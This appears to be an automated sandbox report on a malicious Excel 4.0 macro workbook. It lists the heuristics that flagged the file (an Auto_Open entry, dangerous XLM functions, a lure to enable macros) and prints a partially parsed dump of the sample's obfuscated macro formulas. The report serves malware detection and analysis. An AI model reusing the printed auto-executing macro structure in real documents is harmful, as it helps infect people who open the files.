MALICIOUS
160
Risk Score
Heuristics 4
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
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Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 3271 bytes |
SHA-256: 300f16874fe5506eae61ec49409c92f0698e2f17751f03a997b5046b8f95d07d |
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Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - UPFX
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!H152
' 0018 26 LABEL : Cell Value, String Constant - bGvj len=7 ptgRef3d UPFX!C45
' 0018 31 LABEL : Cell Value, String Constant - cCgYVZiym len=7 ptgRef3d Sheet!H95
' 0018 29 LABEL : Cell Value, String Constant - cYYykDS len=7 ptgRef3d UPFX!A45
' 0018 29 LABEL : Cell Value, String Constant - dBtWudh len=7 ptgRef3d UPFX!G56
' 0018 30 LABEL : Cell Value, String Constant - eWBjDYEF len=7 ptgRef3d UPFX!B59
' 0018 23 LABEL : Cell Value, String Constant - fDdRZEBQ len=0
' 0018 22 LABEL : Cell Value, String Constant - fPMn len=3 ptgInt 0
' 0018 28 LABEL : Cell Value, String Constant - fyHDho len=7 ptgRef3d UPFX!D54
' 0018 124 LABEL : Cell Value, String Constant - GXIiHpXW len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018 22 LABEL : Cell Value, String Constant - IYXq len=3 ptgInt 0
' 0018 561 LABEL : Cell Value, String Constant - keDSbp len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018 29 LABEL : Cell Value, String Constant - KqwSZlF len=7 ptgRef3d UPFX!I53
' 0018 2052 LABEL : Cell Value, String Constant - lDuv len=8 ptgArrayA *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018 23 LABEL : Cell Value, String Constant - lodJO len=3 ptgInt 0
' 0018 26 LABEL : Cell Value, String Constant - PZxW len=7 ptgRef3d UPFX!F48
' 0018 25 LABEL : Cell Value, String Constant - rzeIalV len=3 ptgInt 0
' 0018 30 LABEL : Cell Value, String Constant - sHFfUqlq len=7 ptgRef3d UPFX!E49
' 0018 30 LABEL : Cell Value, String Constant - UneIeWZf len=7 ptgRef3d UPFX!J58
' 0018 27 LABEL : Cell Value, String Constant - WFFLJ len=7 ptgRef3d UPFX!H57
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 00fd 10 LABELSST : Cell Value, String Constant/ SST
' 002a 2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Sheet,A44,"ABC",""
' Sheet,C44,"ABC",""
' Sheet,A45,ROWS(keDSbp),""
' Sheet,C45,keDSbp,""
' Sheet,F47,"ABC",""
' Sheet,E48,"ABC",""
' Sheet,F48,[],""
' Sheet,E49,[],""
' Sheet,I52,"ABC",""
' Sheet,D53,"ABC",""
' Sheet,I53,[],""
' Sheet,D54,[],""
' Sheet,G55,"ABC",""
' Sheet,G56,GXIiHpXW,""
' Sheet,H56,"ABC",""
' Sheet,H57,[],""
' Sheet,J57,"ABC",""
' Sheet,B58,"ABC",""
' Sheet,J58,[],""
' Sheet,B59,ROWS(GXIiHpXW),""
' UPFX,H97,"A"&"B",""
' UPFX,H98,[],""
' UPFX,H102,"SET.VALUE(H132,"")",""
' UPFX,H106,"IYXq",""
' UPFX,H110,"DEFINE.NAME("rzeIalV",0)",""
' UPFX,H114,[],""
' UPFX,H117,"rzeIalV",""
' UPFX,H120,"['H132', 'H132']",""
' UPFX,H125,"lodJO",""
' UPFX,H129,NEXT(),""
' UPFX,H137,"['H132', '"UPFXq!R"']",""
' UPFX,H142,"fDdRZEBQ",""
' UPFX,H147,NEXT(),""
' UPFX,H150,RETURN(),""
' UPFX,H154,"DEFINE.NAME("fDdRZEBQ",162)",""
' UPFX,H161,cCgYVZiym(),""
' UPFX,H162,HALT(),""
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